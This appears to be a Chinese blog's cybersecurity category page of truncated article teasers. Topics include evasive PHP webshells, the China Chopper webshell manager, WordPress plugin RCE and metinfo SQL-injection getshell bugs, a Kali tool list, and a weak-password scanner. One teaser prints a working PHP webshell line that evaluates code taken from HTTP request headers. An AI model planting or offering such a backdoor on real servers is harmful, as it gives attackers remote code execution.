网络安全

网络安全是保护硬件、软件及其系统中的数据不被恶意破坏、更改、泄露。

10年里,公司所有人的工资都是一样的

10年里,公司所有人的工资都是一样的

iwantmyname iwantmyname是一家提供纯域名管理,域名注册和DNS托管的公司。是一个帮助用户从众多TLD域名注册机构中快速查找想要的域名,支持400多个国际域名扩展。iwantmyname在2019年时,已经坚持了全公司...

PHP利用Apache、Nginx的特性实现免杀Webshell

PHP利用Apache、Nginx的特性实现免杀Webshell

环境函数用法nginxget_defined_vars()返回由所有已定义变量所组成的数组apachegetallheaders()获取全部 HTTP 请求头信息 apache环境 <?php eval(next(getallheaders())); ?> apache和nginx环境...

中国菜刀Webshell管理工具 归档

中国菜刀Webshell管理工具 归档

中国菜刀(China chopper) 这里的中国菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处。 中国菜刀caidao webshell管理工具 中国...

WordPress 插件 Social Warfare<=3.5.2 RCE 漏洞

WordPress 插件 Social Warfare<=3.5.2 RCE 漏洞

Social Warfare Social Warfare是WordPress的一款流行社交分享插件,在WordPress站点上的安装量已达70000以上,该插件在WordPress社交分享类插件中也独占鳌头,用户可以利用该插件获得更多的社交分享,同时也...

在WordPress文章中显示最后修改日期的3种方法

在WordPress文章中显示最后修改日期的3种方法

对于很多内容我们可能会在不定的时间内进行修改补充,一般情况下我们会忽略这个操作的用户体验,修改补充后WordPress默认还是显示发布日期,而不会显示最后一次/上一次修改更新日期,有时,这不太友好。 您需...

metinfo 6.x-6.1.3 前台SQL注入和getshell

版本:metinfo<=6.1.3(6.0.0-6.1.3通吃漏洞) metinfo<=6.1.3前台getshell 利用此漏洞直接看文章某info <= 6.1.3前台getshell,其中使用了M...

MIBT 电影主题 v1.29下载

MIBT 电影主题 v1.29下载

MIBT是一个bt下载的WordPress主题,以电影海报为主要展示,使用响应式设计,内置多种排序模板以及下载功能插件,可以自动获取豆瓣评分,后台可以获取豆瓣电影的信息。 MIBT主题下载 主题演示:www.bttwo.co...

kali 渗透测试完整工具列表

kali 渗透测试完整工具列表

Kali Linux 是基于Debian的Linux发行版,设计用于数字鉴识和渗透测试。由 Offensive Security Ltd 维护和资助。 Penetration Testing Complete Tools List Kali Linux 拥有超过600个预装的渗透测试程...

弱口令检测脚本 – F-Scrack

弱口令检测脚本 – F-Scrack

F-Scrack(服务弱口令检测脚本) 功能 一款python编写的轻量级弱口令检测脚本,目前支持以下服务:FTP、MYSQL、MSSQL、MONGODB、REDIS、TELNET、ELASTICSEARCH、POSTGRESQL。 特点 命令行、单文件,绿...

webshell样本,用于测试webshell扫描器检测率

webshell样本,用于测试webshell扫描器检测率

收集自网络各处的 webshell 样本,用于测试 webshell 扫描器检测率。 asp webshellaspx webshelljsp webshelljspx webshellothers webshellphp webshellwar webshell 下载:https://github.com/ysrc/websh...